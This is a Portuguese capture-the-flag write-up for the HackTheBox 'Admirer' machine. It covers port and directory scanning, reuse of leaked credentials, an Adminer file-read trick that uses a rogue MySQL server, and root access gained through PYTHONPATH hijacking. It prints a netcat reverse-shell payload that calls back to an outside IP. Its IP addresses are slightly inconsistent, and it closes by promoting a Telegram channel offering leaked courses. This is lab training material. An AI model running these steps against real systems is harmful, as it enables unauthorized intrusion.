
Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .
Neste artigo, verificamos muito, exploramos o RCE no Admirer e alteramos a variável de ambiente para executar nosso código python.
A conexão com o laboratório é via VPN. É recomendável não se conectar a partir de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem algo sobre segurança da informação.
Informação organizacional
Recon
Esta máquina tem um endereço IP de 10.10.10.189, que adicionei a / etc / hosts.
10.10.10.187 admirer.htb
A primeira etapa é verificar as portas abertas. Uma vez que leva muito tempo para escanear todas as portas com nmap, primeiro farei isso usando masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500

Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.
nmap -A admirer.htb -p80,22,21

A partir do resultado da varredura do nmap, selecione nossa próxima etapa. Portanto, o servidor possui serviços FTP e SSH, mas eles exigem credenciais. Também existe um servidor da web Apache com um arquivo robots.txt. Há apenas uma entrada neste arquivo - o diretório admin-dir. Como nenhuma informação adicional é fornecida, nossa próxima etapa é examinar os diretórios. Para isso, usamos um gobuster rápido. Nos parâmetros, indicamos que queremos fazer a varredura de diretórios (dir), indicamos o site (-u), a lista de palavras (-w), as extensões que nos interessam (-x), o número de threads (-t).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

E encontramos dois arquivos, o primeiro contém endereços de e-mail e o segundo contém várias credenciais.


E entre as credenciais encontramos as credenciais para FTP. E nos conectamos com sucesso.

Vamos dar uma olhada no servidor.

Vamos baixar todos os arquivos.

Suspeita-se que este arquivo seja uma cópia de segurança do site, vamos descompactá-lo e ver o que contém.
mkdir HTML
mv html.tar.gz HTML/
cd HTML
tar -xf html.tar.gz

Novamente, há um arquivo robots.txt e algum tipo de diretório secreto contendo todos os mesmos arquivos contacts.txt e credentials.txt.

O primeiro arquivo não difere do existente, mas entre as credenciais há aquelas que não temos.

Depois de tentar usá-los, não chegamos a lugar nenhum. Vamos procurar o usuário e as linhas de senha em todos os arquivos baixados.
grep -R -i "user\|pass" ./

E encontramos mais duas senhas para o mesmo usuário. Eu coletei todas as credenciais disponíveis.

Mas eles também não vieram a lugar nenhum.
Ponto de entrada
Se você tentar realizar tarefas não resolvidas no site, receberemos uma recusa.



Como todos os arquivos executáveis estão localizados no diretório de scripts de utilitários, vamos examiná-los no host, procurando por arquivos php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php

E encontramos o arquivo admirer.php.

Depois de buscar informações, nas seguintes fontes , ficou claro como obter o RCE. Se você especificar seu host como um servidor, poderá ver uma tentativa de conexão.
Vamos iniciar o serviço myqsl no host local.
sudo service mysql start
sudo mysql -u root
E vamos criar um usuário para autorização.
create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';

Agora vamos mudar o arquivo de configuração /etc/mysql/mariadb.conf.d/50-server.cnf para que qualquer pessoa possa se conectar ao nosso host. Para fazer isso, comente a linha de endereço de ligação e reinicie o serviço.

sudo service mysql restart
Nós efetuamos login em nome do usuário recém-criado.


DO UTILIZADOR
Vamos selecionar nosso banco de dados.

A seguir, vamos criar uma tabela.

E vamos executar uma consulta SQL para ler o arquivo index.php, no qual podemos encontrar as credenciais (como estava no backup).
load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'

Agora vamos prosseguir para a nossa tabela criada.

E encontraremos as credenciais.

E com essa senha, conseguimos fazer o login via SSH.




RAIZ
Vamos verificar nossas configurações de sudo.

Assim, podemos executar este script como um superusuário. Ao olhar para este script, encontramos a execução do script python, que também é executado no sudo.

E no próprio script, uma importação implícita é especificada.

Vamos ver as variáveis de ambiente, estamos interessados em caminhos python.

Assim, podemos criar um arquivo com o mesmo nome, contendo a mesma função, mas realizando ações diferentes. E então mudando essa variável de ambiente, vamos rodar o programa, que vai levar à execução do nosso arquivo.
def make_archive():
import os
os.system('nc 10.10.15.110 4321 -e "/bin/sh"')
make_archive()

Vamos executar o script.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh

E obtemos um shell de backconnect.

Temos controle total sobre esta máquina.
Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade, na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.